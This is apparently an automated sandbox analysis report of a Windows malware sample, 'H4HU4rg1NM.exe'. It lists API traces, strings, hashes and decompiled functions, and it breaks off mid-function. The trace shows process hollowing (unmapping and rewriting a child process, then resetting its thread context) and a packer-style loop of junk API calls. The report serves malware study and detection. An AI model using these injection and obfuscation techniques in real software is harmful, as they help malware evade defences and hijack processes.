Analysis Process: H4HU4rg1NM.exe PID: 6944 Parent PID: 5648 H4HU4rg1NM.exeCOMMON

Executed Functions

Function 004E0110, Relevance: 22.7, APIs: 15, Instructions: 248memorynativethreadCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,00002800,00001000,00000004), ref: 004E0156
GetModuleFileNameA.KERNELBASE(00000000,?,00002800), ref: 004E016C
CreateProcessA.KERNELBASE(?,00000000), ref: 004E0255
VirtualFree.KERNELBASE(?,00000000,00008000), ref: 004E0270
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 004E0283
GetThreadContext.KERNELBASE(00000000,?), ref: 004E029F
ReadProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 004E02C8
NtUnmapViewOfSection.NTDLL(00000000,?), ref: 004E02E3
VirtualAllocEx.KERNELBASE(00000000,?,?,00003000,00000040), ref: 004E0304
NtWriteVirtualMemory.NTDLL(00000000,?,?,00000000,00000000), ref: 004E032A
NtWriteVirtualMemory.NTDLL(00000000,00000000,?,00000002,00000000), ref: 004E0399
WriteProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 004E03BF
SetThreadContext.KERNELBASE(00000000,?), ref: 004E03E1
ResumeThread.KERNELBASE(00000000), ref: 004E03ED
ExitProcess.KERNEL32(00000000), ref: 004E0412

Memory Dump Source

Source File: 00000001.00000002.280769016.00000000004E0000.00000040.00000001.sdmp, Offset: 004E0000, based on PE: false

Similarity

API ID: Virtual$MemoryProcess$AllocThreadWrite$Context$CreateExitFileFreeModuleNameReadResumeSectionUnmapView
String ID:
API String ID: 2875986403-0
Opcode ID: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction ID: 7cae60dcc083ba44bc7aa122253d70903876d06d9c24c872e6fa843c43e4181c
Opcode Fuzzy Hash: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction Fuzzy Hash: 91B1D874A00208AFDB44CF98C895F9EBBB5FF88314F248158E909AB391D775AD81CF94

Uniqueness

Uniqueness Score: -1.00%

Function 004E0630, Relevance: 58.4, APIs: 1, Strings: 32, Instructions: 671libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(user32), ref: 004E06E2

Strings

WriteFile, xrefs: 004E08CD, 004E08D0
WinExec, xrefs: 004E0820, 004E0823
PostMessageA, xrefs: 004E12B0, 004E12B6
MessageBoxA, xrefs: 004E06EE, 004E06F4
GetThreadContext, xrefs: 004E0A4C, 004E0A52
VirtualAlloc, xrefs: 004E0AC1, 004E0AC7
VirtualFree, xrefs: 004E0BB2, 004E0BB8
DefWindowProcA, xrefs: 004E1374, 004E137A
WriteProcessMemory, xrefs: 004E0CE9, 004E0CEF
ExitProcess, xrefs: 004E1554, 004E155A
NtWriteVirtualMemory, xrefs: 004E112C, 004E1132
kernel32, xrefs: 004E07ED, 004E07F3
user32, xrefs: 004E06DB, 004E06E1
GetMessageA, xrefs: 004E12F7, 004E12FA
SetThreadContext, xrefs: 004E0D7A, 004E0D80
CloseHandle, xrefs: 004E0938, 004E093E
GetFileAttributesA, xrefs: 004E13D7, 004E13DA
CreateFileA, xrefs: 004E088B, 004E0891
ntdll.dll, xrefs: 004E0FE2, 004E0FE8
CreateProcessA, xrefs: 004E09BB, 004E09C1
NtUnmapViewOfSection, xrefs: 004E1085, 004E108B
CreateWindowExA, xrefs: 004E123E, 004E1244
ResumeThread, xrefs: 004E0DEF, 004E0DF5
GetMessageExtraInfo, xrefs: 004E0794, 004E079A
GetStartupInfoA, xrefs: 004E145B, 004E1461
WaitForSingleObject, xrefs: 004E0E95, 004E0E9B
GetModuleFileNameA, xrefs: 004E0EFB, 004E0EFE
VirtualAllocEx, xrefs: 004E0B44, 004E0B4A
RegisterClassExA, xrefs: 004E11B7, 004E11BD
VirtualProtectEx, xrefs: 004E14E9, 004E14EF
ReadProcessMemory, xrefs: 004E0C4A, 004E0C50
GetCommandLineA, xrefs: 004E0F82, 004E0F88

Memory Dump Source

Source File: 00000001.00000002.280769016.00000000004E0000.00000040.00000001.sdmp, Offset: 004E0000, based on PE: false

Similarity

API ID: LibraryLoad
String ID: CloseHandle$CreateFileA$CreateProcessA$CreateWindowExA$DefWindowProcA$ExitProcess$GetCommandLineA$GetFileAttributesA$GetMessageA$GetMessageExtraInfo$GetModuleFileNameA$GetStartupInfoA$GetThreadContext$MessageBoxA$NtUnmapViewOfSection$NtWriteVirtualMemory$PostMessageA$ReadProcessMemory$RegisterClassExA$ResumeThread$SetThreadContext$VirtualAlloc$VirtualAllocEx$VirtualFree$VirtualProtectEx$WaitForSingleObject$WinExec$WriteFile$WriteProcessMemory$kernel32$ntdll.dll$user32
API String ID: 1029625771-3105132389
Opcode ID: aab33881e6ea512dee0bea29e3953140485f8577d3db8e783070f8d433065c47
Instruction ID: 46039c49f43341e178071790c29ca96eb3c3509c17587996a9d471d52d22eff1
Opcode Fuzzy Hash: aab33881e6ea512dee0bea29e3953140485f8577d3db8e783070f8d433065c47
Instruction Fuzzy Hash: CDA24460D0C6E8C9EB21C668CC4C7DDBEB51B26749F0841D9858C66292C7BB1B98CF76

Uniqueness

Uniqueness Score: -1.00%

Function 00428A50, Relevance: 10.8, APIs: 7, Instructions: 255
COMMON

Download Yara Rule

C-Code - Quality: 95%

			E00428A50(void* __ebx, int __edx, void* __edi, int _a4, int _a8) {
				signed int _v8;
				signed int _v12;
				signed char* _v16;
				signed int _v20;
				signed int _v24;
				char _v38;
				struct _cpinfo _v44;
				signed char* _v48;
				void* __esi;
				signed int _t143;
				int _t146;
				signed int _t150;
				intOrPtr _t158;
				void* _t189;
				void* _t253;
				signed int _t255;
				void* _t256;
				void* _t257;

				_t253 = __edi;
				_t222 = __edx;
				_t189 = __ebx;
				_t143 =  *0x447b80; // 0xd5ffe527
				_v24 = _t143 ^ _t255;
				_t146 = E00428940(_a4);
				_t257 = _t256 + 4;
				_a4 = _t146;
				if(_a4 != 0) {
					_v12 = 0;
					while(_v12 < 5) {
						_t146 = _v12 * 0x30;
						_t11 = _t146 + 0x448268; // 0x21827982
						if( *_t11 != _a4) {
							_t222 = _v12 + 1;
							_v12 = _v12 + 1;
							continue;
						} else {
							_v20 = 0;
							while(_v20 < 0x101) {
								 *((char*)(_a8 + _v20 + 0x1c)) = 0;
								_v20 = _v20 + 1;
							}
							_v8 = 0;
							while(_v8 < 4) {
								_t27 = _v8 * 8; // 0x44827d
								_v16 = _v12 * 0x30 + _t27 + 0x448278;
								while(( *_v16 & 0x000000ff) != 0) {
									_t34 =  &(_v16[1]); // 0x458908c4
									if(( *_t34 & 0x000000ff) != 0) {
										_v20 =  *_v16 & 0x000000ff;
										while(1) {
											_t40 =  &(_v16[1]); // 0x458908c4
											if(_v20 > ( *_t40 & 0x000000ff)) {
												break;
											}
											_t43 = _v8 + 0x448264; // 0x3a4
											 *(_a8 + _v20 + 0x1d) =  *(_a8 + _v20 + 0x1d) & 0x000000ff |  *_t43;
											_v20 = _v20 + 1;
										}
										_v16 =  &(_v16[2]);
										continue;
									}
									break;
								}
								_v8 = _v8 + 1;
							}
							 *(_a8 + 4) = _a4;
							 *((intOrPtr*)(_a8 + 8)) = 1;
							_t56 = _a8 + 4; // 0x7d83d845
							 *((intOrPtr*)(_a8 + 0xc)) = E00428DA0(_a8,  *_t56);
							_v8 = 0;
							while(_v8 < 6) {
								_t68 = _v8 * 2; // 0x0
								 *((short*)(_a8 + 0x10 + _v8 * 2)) =  *((intOrPtr*)(_v12 * 0x30 + _t68 + 0x44826c));
								_t222 = _v8 + 1;
								_v8 = _v8 + 1;
							}
							E00428F00(_t189, _t253, _t254, _a8);
							_t147 = 0;
						}
						goto L63;
					}
					if(_a4 == 0 || _a4 == 0xfde8 || _a4 == 0xfde9) {
						L33:
						_t147 = _t146 | 0xffffffff;
					} else {
						_t222 = _a4 & 0x0000ffff;
						_t146 = IsValidCodePage(_a4 & 0x0000ffff);
						if(_t146 != 0) {
							_t192 = _a4;
							_t150 = GetCPInfo(_a4,  &_v44);
							if(_t150 == 0) {
								if( *0x4c51f0 == 0) {
									_t147 = _t150 | 0xffffffff;
								} else {
									E00428E20(_t192, _a8);
									_t147 = 0;
								}
							} else {
								_v20 = 0;
								while(_v20 < 0x101) {
									 *((char*)(_a8 + _v20 + 0x1c)) = 0;
									_v20 = _v20 + 1;
								}
								 *(_a8 + 4) = _a4;
								 *((intOrPtr*)(_a8 + 0xc)) = 0;
								if(_v44 <= 1) {
									 *((intOrPtr*)(_a8 + 8)) = 0;
								} else {
									_v48 =  &_v38;
									while(( *_v48 & 0x000000ff) != 0 && (_v48[1] & 0x000000ff) != 0) {
										_v20 =  *_v48 & 0x000000ff;
										while(_v20 <= (_v48[1] & 0x000000ff)) {
											 *(_a8 + _v20 + 0x1d) =  *(_a8 + _v20 + 0x1d) & 0x000000ff | 0x00000004;
											_v20 = _v20 + 1;
										}
										_v48 =  &(_v48[2]);
									}
									_v20 = 1;
									while(_v20 < 0xff) {
										 *(_a8 + _v20 + 0x1d) =  *(_a8 + _v20 + 0x1d) & 0x000000ff | 0x00000008;
										_v20 = _v20 + 1;
									}
									_t124 = _a8 + 4; // 0x7d83d845
									_t158 = E00428DA0(_a8,  *_t124);
									_t257 = _t257 + 4;
									 *((intOrPtr*)(_a8 + 0xc)) = _t158;
									 *((intOrPtr*)(_a8 + 8)) = 1;
								}
								_v8 = 0;
								while(_v8 < 6) {
									 *((short*)(_a8 + 0x10 + _v8 * 2)) = 0;
									_v8 = _v8 + 1;
								}
								_t222 = _a8;
								E00428F00(_t189, _t253, _t254, _a8); // executed
								_t147 = 0;
							}
						} else {
							goto L33;
						}
					}
				} else {
					E00428E20(_a8, _a8);
					_t147 = 0;
				}
				L63:
				return E00424E30(_t147, _t189, _v24 ^ _t255, _t222, _t253, _t254);
			}

0x00428a50
0x00428a50
0x00428a50
0x00428a58
0x00428a5f
0x00428a67
0x00428a6c
0x00428a6f
0x00428a76
0x00428a8b
0x00428a9d
0x00428aaa
0x00428aad
0x00428ab6
0x00428a97
0x00428a9a
0x00000000
0x00428abc
0x00428abc
0x00428ace
0x00428add
0x00428acb
0x00428acb
0x00428ae3
0x00428af5
0x00428b04
0x00428b0b
0x00428b19
0x00428b26
0x00428b2c
0x00428b34
0x00428b42
0x00428b45
0x00428b4c
0x00000000
0x00000000
0x00428b51
0x00428b6a
0x00428b3f
0x00428b3f
0x00428b16
0x00000000
0x00428b16
0x00000000
0x00428b2c
0x00428af2
0x00428af2
0x00428b7c
0x00428b82
0x00428b8c
0x00428b9b
0x00428b9e
0x00428bb0
0x00428bc5
0x00428bcd
0x00428baa
0x00428bad
0x00428bad
0x00428bd8
0x00428be0
0x00428be0
0x00000000
0x00428ab6
0x00428bf0
0x00428c13
0x00428c13
0x00428c04
0x00428c04
0x00428c09
0x00428c11
0x00428c1f
0x00428c23
0x00428c2b
0x00428d71
0x00428d83
0x00428d73
0x00428d77
0x00428d7f
0x00428d7f
0x00428c31
0x00428c31
0x00428c43
0x00428c52
0x00428c40
0x00428c40
0x00428c5e
0x00428c64
0x00428c6f
0x00428d2c
0x00428c75
0x00428c78
0x00428c86
0x00428ca1
0x00428caf
0x00428cce
0x00428cac
0x00428cac
0x00428c83
0x00428c83
0x00428cd5
0x00428ce7
0x00428d03
0x00428ce4
0x00428ce4
0x00428d0b
0x00428d0f
0x00428d14
0x00428d1a
0x00428d20
0x00428d20
0x00428d33
0x00428d45
0x00428d53
0x00428d42
0x00428d42
0x00428d5a
0x00428d5e
0x00428d66
0x00428d66
0x00000000
0x00000000
0x00000000
0x00428c11
0x00428a78
0x00428a7c
0x00428a84
0x00428a84
0x00428d87
0x00428d94

APIs

getSystemCP.LIBCMTD ref: 00428A67

Part of subcall function 00428940: GetOEMCP.KERNEL32(00000000,D5FFE527,0043D868,000000FF,?,004286F8,?), ref: 0042899B
Part of subcall function 00428940: _LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 004289AE

setSBCS.LIBCMTD ref: 00428A7C
setSBUpLow.LIBCMTD ref: 00428BD8

Memory Dump Source

Source File: 00000001.00000002.280729274.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.280721558.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.280753613.0000000000447000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.280759758.00000000004C5000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.280762809.00000000004C9000.00000002.00020000.sdmp Download File

Similarity

API ID: Locale$SystemUpdateUpdate::~_
String ID:
API String ID: 2101441384-0
Opcode ID: 71c6edb7b7dbdc6fcd40482adbb47a44a7e9b81184d16e4295222005f5b9eb3e
Instruction ID: 60bc3c3de29d95542c3c9e27658df6ace7532264193979809082ba86e9ff7f99
Opcode Fuzzy Hash: 71c6edb7b7dbdc6fcd40482adbb47a44a7e9b81184d16e4295222005f5b9eb3e
Instruction Fuzzy Hash: FAB17C74A06129DFCB04CF54D880AAEBBB1FF44314F68C55EE8166B341CB38EA45DB59

Uniqueness

Uniqueness Score: -1.00%

Function 004E0420, Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 113COMMON

Download Yara Rule

APIs

CreateWindowExA.USER32(00000200,saodkfnosa9uin,mfoaskdfnoa,00CF0000,80000000,80000000,000003E8,000003E8,00000000,00000000,00000000,00000000), ref: 004E0533

Strings

0, xrefs: 004E0492
saodkfnosa9uin, xrefs: 004E04DA
d, xrefs: 004E0584
mfoaskdfnoa, xrefs: 004E0520, 004E0523

Memory Dump Source

Source File: 00000001.00000002.280769016.00000000004E0000.00000040.00000001.sdmp, Offset: 004E0000, based on PE: false

Similarity

API ID: CreateWindow
String ID: 0$d$mfoaskdfnoa$saodkfnosa9uin
API String ID: 716092398-2341455598
Opcode ID: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction ID: 2077f5884b5595ecb71405f41307382624c77687552a4277e60cc0831fcedbb4
Opcode Fuzzy Hash: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction Fuzzy Hash: 43512770D083C8EAEB11CB98C849B9EBFB26F11708F144059D5842F286C3FA5A59CB66

Uniqueness

Uniqueness Score: -1.00%

Function 004E05B0, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 35COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNELBASE(apfHQ), ref: 004E05EC

Strings

apfHQ, xrefs: 004E05E2, 004E05E5
o, xrefs: 004E0600

Memory Dump Source

Source File: 00000001.00000002.280769016.00000000004E0000.00000040.00000001.sdmp, Offset: 004E0000, based on PE: false

Similarity

API ID: AttributesFile
String ID: apfHQ$o
API String ID: 3188754299-2999369273
Opcode ID: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction ID: 3cb1b2fa396e6035e1869a3160590d2651306ca65df71327e76f6ff0a4ff8b43
Opcode Fuzzy Hash: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction Fuzzy Hash: 20011270C0428CEADB11DBA5C5183AEBFB59F41309F148199C4192B341D7BA9B99CB95

Uniqueness

Uniqueness Score: -1.00%

Function 00736338, Relevance: 1.5, APIs: 1, Instructions: 41COMMON

Download Yara Rule

APIs

Module32First.KERNEL32(00000000,00000224), ref: 00736380

Memory Dump Source

Source File: 00000001.00000002.280816296.0000000000731000.00000040.00000001.sdmp, Offset: 00731000, based on PE: false

Similarity

API ID: FirstModule32
String ID:
API String ID: 3757679902-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: a5594de4a3facaab566c910f68b376794df938b158d6428ab86d079922bc0bab
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: 7DF09632100715BBF7203BF99C8DB6E76E8EF49724F144528E642D24C1DB74EC454A61

Uniqueness

Uniqueness Score: -1.00%

Function 004298F0, Relevance: 1.5, APIs: 1, Instructions: 7COMMON

Download Yara Rule

APIs

RtlEncodePointer.NTDLL(00000000,?,00423C1B,?,?,00429A60), ref: 004298F7

Memory Dump Source

Source File: 00000001.00000002.280729274.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.280721558.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.280753613.0000000000447000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.280759758.00000000004C5000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.280762809.00000000004C9000.00000002.00020000.sdmp Download File

Similarity

API ID: EncodePointer
String ID:
API String ID: 2118026453-0
Opcode ID: bb136fd040217f8798add158b9755d8db9bff0022e5fd5ea5e9cccf720db289d
Instruction ID: d6dc1332508921867b698eb3db106d6ee4396bde797856995e144efd0eebbed2
Opcode Fuzzy Hash: bb136fd040217f8798add158b9755d8db9bff0022e5fd5ea5e9cccf720db289d
Instruction Fuzzy Hash: 7AA0123104424863C10022826909B413A0CC3C0722F000050F21C51051096154004055

Uniqueness

Uniqueness Score: -1.00%

Function 00423D80, Relevance: 1.5, APIs: 1, Instructions: 5
COMMON

Download Yara Rule

C-Code - Quality: 100%

			_entry_() {
				void* _t3;

				E0042C6C0(); // executed
				return L00423DA0(_t3);
			}

0x00423d85
0x00423d90

APIs

___security_init_cookie.LIBCMTD ref: 00423D85

Memory Dump Source

Source File: 00000001.00000002.280729274.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.280721558.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.280753613.0000000000447000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.280759758.00000000004C5000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.280762809.00000000004C9000.00000002.00020000.sdmp Download File

Similarity

API ID: ___security_init_cookie
String ID:
API String ID: 3657697845-0
Opcode ID: 24bc06dd6f8e756449fb71d37d1b4406b7b4604180a7d70f7a7b007183019b3b
Instruction ID: 86812bc8f37ffdca85e0fc5f1d47971498645928b7dd219f20e712763abfa02b
Opcode Fuzzy Hash: 24bc06dd6f8e756449fb71d37d1b4406b7b4604180a7d70f7a7b007183019b3b
Instruction Fuzzy Hash: E4A00212214A681601903BA7254B90E755D4CC4719BD5101A7518021135C5CAB0144FE

Uniqueness

Uniqueness Score: -1.00%

Function 00735FF7, Relevance: 1.3, APIs: 1, Instructions: 48memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 00736048

Memory Dump Source

Source File: 00000001.00000002.280816296.0000000000731000.00000040.00000001.sdmp, Offset: 00731000, based on PE: false

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: ebc832e82cc2a8a7f8b1d3889892142cc6d40bad1be25ad8ad7bfd26fdd7541a
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: B9112B79A00208FFDB01DF98C985E98BBF5AF08750F058094FA489B362D375EA50DB90

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0041C7B7, Relevance: 35.1, APIs: 16, Strings: 4, Instructions: 118
memorypipeCOMMON

Download Yara Rule

C-Code - Quality: 73%

			E0041C7B7() {
				signed int _v8;
				char _v2140;
				char _v2144;
				union _ULARGE_INTEGER _v2156;
				char _v3180;
				short _v5228;
				struct _COORD _v5232;
				struct _STARTUPINFOA _v5308;
				union _ULARGE_INTEGER _v5316;
				char _v5860;
				union _ULARGE_INTEGER _v5868;
				signed int _v5872;
				signed int _v5876;

				E00420DD0(0x1b1c);
				_v8 = _v8 & 0x00000000;
				while(_v8 < 0x332beaf6) {
					GetTickCount();
					if( *0x4c4ea4 == 0x16) {
						__imp__FreeUserPhysicalPages(0, 0, 0);
						__imp__GetCalendarInfoW(0, 0, 0,  &_v2140, 0,  &_v2144);
						GetProfileStringA(0, 0, 0, 0, 0);
					}
					SetLastError(0);
					if( *0x4c4ea4 == 0x9e) {
						__imp__GetSystemWow64DirectoryA( &_v3180, 0);
						GetWindowsDirectoryW( &_v5228, 0);
						__imp__GetCPInfoExW(0, 0,  &_v5860);
						GetDiskFreeSpaceExW(L"poxetijutebiligeziyehoroyofenalisibematuwejugonuyis",  &_v5316,  &_v5868,  &_v2156);
						GetStartupInfoA( &_v5308);
						ReadConsoleOutputCharacterA(0, 0, 0, _v5232, 0);
					}
					if(_v8 <= 0x3775ee) {
						_v8 = _v8 + 1;
						continue;
					} else {
						break;
					}
				}
				_t30 = L0041A9B0( *0x4c14a4,  *0x4c4ea4, 0x440000);
				_v5872 = _v5872 & 0x00000000;
				while(_v5872 < 0x3e79e) {
					if( *0x4c4ea4 == 0x10) {
						_t30 = CreateNamedPipeW(L"jawidedesasojebehorurozuhutovosuhitokoranep", 0, 0, 0, 0, 0, 0, 0);
					}
					if(_v5872 == 0x1e673) {
						L0041AB80(_t30);
					}
					_t30 = _v5872 + 1;
					_v5872 = _v5872 + 1;
				}
				_v5876 = _v5876 & 0x00000000;
				while(_v5876 < 0xdd9a7) {
					if( *0x4c4ea4 == 0xc01) {
						GetProcessHeap();
						GetProcessHeap();
						GetPrivateProfileIntW(0, 0, 0, 0);
						SetFileAttributesA("yuvohiberirosiyucida", 0);
					}
					_v5876 = _v5876 + 1;
				}
				goto ( *0x4c14a4);
			}

0x0041c7bf
0x0041c7c4
0x0041c7d1
0x0041c7de
0x0041c7eb
0x0041c7f3
0x0041c80f
0x0041c81f
0x0041c81f
0x0041c827
0x0041c837
0x0041c842
0x0041c851
0x0041c862
0x0041c882
0x0041c88f
0x0041c8a3
0x0041c8a3
0x0041c8b0
0x0041c7ce
0x00000000
0x0041c8b2
0x00000000
0x0041c8b2
0x0041c8b0
0x0041c8ca
0x0041c8cf
0x0041c8e5
0x0041c8f8
0x0041c90d
0x0041c90d
0x0041c91d
0x0041c91f
0x0041c91f
0x0041c8de
0x0041c8df
0x0041c8df
0x0041c926
0x0041c93c
0x0041c952
0x0041c954
0x0041c95a
0x0041c968
0x0041c975
0x0041c975
0x0041c936
0x0041c936
0x0041c97d

APIs

GetTickCount.KERNEL32 ref: 0041C7DE
FreeUserPhysicalPages.KERNEL32(00000000,00000000,00000000), ref: 0041C7F3
GetCalendarInfoW.KERNEL32(00000000,00000000,00000000,?,00000000,?), ref: 0041C80F
GetProfileStringA.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 0041C81F
SetLastError.KERNEL32(00000000), ref: 0041C827
GetSystemWow64DirectoryA.KERNEL32(?,00000000), ref: 0041C842
GetWindowsDirectoryW.KERNEL32(?,00000000), ref: 0041C851
GetCPInfoExW.KERNEL32(00000000,00000000,?), ref: 0041C862
GetDiskFreeSpaceExW.KERNEL32(poxetijutebiligeziyehoroyofenalisibematuwejugonuyis,?,?,?), ref: 0041C882
GetStartupInfoA.KERNEL32(?), ref: 0041C88F
ReadConsoleOutputCharacterA.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 0041C8A3
CreateNamedPipeW.KERNEL32(jawidedesasojebehorurozuhutovosuhitokoranep,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0041C90D
GetProcessHeap.KERNEL32 ref: 0041C954
GetProcessHeap.KERNEL32 ref: 0041C95A
GetPrivateProfileIntW.KERNEL32 ref: 0041C968
SetFileAttributesA.KERNEL32(yuvohiberirosiyucida,00000000), ref: 0041C975

Strings

poxetijutebiligeziyehoroyofenalisibematuwejugonuyis, xrefs: 0041C87D
jawidedesasojebehorurozuhutovosuhitokoranep, xrefs: 0041C908
yuvohiberirosiyucida, xrefs: 0041C970
u7, xrefs: 0041C8A9

Memory Dump Source

Source File: 00000001.00000002.280729274.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.280721558.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.280753613.0000000000447000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.280759758.00000000004C5000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.280762809.00000000004C9000.00000002.00020000.sdmp Download File

Similarity

API ID: Info$DirectoryFreeHeapProcessProfile$AttributesCalendarCharacterConsoleCountCreateDiskErrorFileLastNamedOutputPagesPhysicalPipePrivateReadSpaceStartupStringSystemTickUserWindowsWow64
String ID: jawidedesasojebehorurozuhutovosuhitokoranep$poxetijutebiligeziyehoroyofenalisibematuwejugonuyis$yuvohiberirosiyucida$u7
API String ID: 2697139290-156988916
Opcode ID: e37dd77d1a6acb28a78d0d1571e34d309a3f71c9c52fc421d09b77b8f6fd8457
Instruction ID: adf0f60831b09ba225191cfe09f0d294a2ad8f9724389e1f0f2e82e608ee7a9f
Opcode Fuzzy Hash: e37dd77d1a6acb28a78d0d1571e34d309a3f71c9c52fc421d09b77b8f6fd8457
Instruction Fuzzy Hash: 5A416375980258EFEB209B90DE89FD877B8BB04706F1001B6F245A54E1C7B419C4CF1E

Uniqueness

Uniqueness Score: -1.00%

Function 00424E30, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 59
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E00424E30(intOrPtr __eax, intOrPtr __ebx, intOrPtr __ecx, intOrPtr __edx, intOrPtr __edi, intOrPtr __esi, char _a4) {
				intOrPtr _v0;
				void* _v804;
				intOrPtr _v808;
				intOrPtr _v812;
				intOrPtr _t6;
				intOrPtr _t11;
				long _t15;
				intOrPtr _t19;
				intOrPtr _t20;
				intOrPtr _t21;
				intOrPtr _t22;
				intOrPtr _t23;
				intOrPtr _t24;
				intOrPtr _t25;
				intOrPtr* _t29;
				void* _t34;

				_t25 = __esi;
				_t24 = __edi;
				_t22 = __edx;
				_t20 = __ecx;
				_t19 = __ebx;
				_t6 = __eax;
				_t34 = _t20 -  *0x447b80; // 0xd5ffe527
				if(_t34 == 0) {
					asm("repe ret");
				}
				 *0x4c5b80 = _t6;
				 *0x4c5b7c = _t20;
				 *0x4c5b78 = _t22;
				 *0x4c5b74 = _t19;
				 *0x4c5b70 = _t25;
				 *0x4c5b6c = _t24;
				 *0x4c5b98 = ss;
				 *0x4c5b8c = cs;
				 *0x4c5b68 = ds;
				 *0x4c5b64 = es;
				 *0x4c5b60 = fs;
				 *0x4c5b5c = gs;
				asm("pushfd");
				_pop( *0x4c5b90);
				 *0x4c5b84 =  *_t29;
				 *0x4c5b88 = _v0;
				 *0x4c5b94 =  &_a4;
				 *0x4c5ad0 = 0x10001;
				_t11 =  *0x4c5b88; // 0x0
				 *0x4c5a84 = _t11;
				 *0x4c5a78 = 0xc0000409;
				 *0x4c5a7c = 1;
				_t21 =  *0x447b80; // 0xd5ffe527
				_v812 = _t21;
				_t23 =  *0x447b84; // 0x2a001ad8
				_v808 = _t23;
				 *0x4c5ac8 = IsDebuggerPresent();
				_push(1);
				E00428060(_t12);
				SetUnhandledExceptionFilter(0);
				_t15 = UnhandledExceptionFilter("xZL");
				if( *0x4c5ac8 == 0) {
					_push(1);
					E00428060(_t15);
				}
				return TerminateProcess(GetCurrentProcess(), 0xc0000409);
			}

0x00424e30
0x00424e30
0x00424e30
0x00424e30
0x00424e30
0x00424e30
0x00424e30
0x00424e36
0x00424e38
0x00424e38
0x0042d66b
0x0042d670
0x0042d676
0x0042d67c
0x0042d682
0x0042d688
0x0042d68e
0x0042d695
0x0042d69c
0x0042d6a3
0x0042d6aa
0x0042d6b1
0x0042d6b8
0x0042d6b9
0x0042d6c2
0x0042d6ca
0x0042d6d2
0x0042d6dd
0x0042d6e7
0x0042d6ec
0x0042d6f1
0x0042d6fb
0x0042d705
0x0042d70b
0x0042d711
0x0042d717
0x0042d723
0x0042d728
0x0042d72a
0x0042d734
0x0042d73f
0x0042d74c
0x0042d74e
0x0042d750
0x0042d755
0x0042d76d

APIs

IsDebuggerPresent.KERNEL32 ref: 0042D71D
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 0042D734
UnhandledExceptionFilter.KERNEL32(xZL), ref: 0042D73F
GetCurrentProcess.KERNEL32(C0000409), ref: 0042D75D
TerminateProcess.KERNEL32(00000000), ref: 0042D764

Strings

xZL, xrefs: 0042D73A

Memory Dump Source

Source File: 00000001.00000002.280729274.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.280721558.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.280753613.0000000000447000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.280759758.00000000004C5000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.280762809.00000000004C9000.00000002.00020000.sdmp Download File

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID: xZL
API String ID: 2579439406-2594003103
Opcode ID: 5f54561d1a19773134987b0f7fddf3e8af804ec8e6d9965b2a1cd027adb8f6a8
Instruction ID: 19b739714e76a47e83be7d2b260da8501abd29ddcd7ee0f947fa04c631af6898
Opcode Fuzzy Hash: 5f54561d1a19773134987b0f7fddf3e8af804ec8e6d9965b2a1cd027adb8f6a8
Instruction Fuzzy Hash: 1121FCB8900B088FD3809F65FD84A087BB0BB18318F50017AE809A73A0E77538C0CB4D

Uniqueness

Uniqueness Score: -1.00%

Function 0042C6A0, Relevance: 1.5, APIs: 1, Instructions: 8
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0042C6A0() {

				SetUnhandledExceptionFilter(E0042C630);
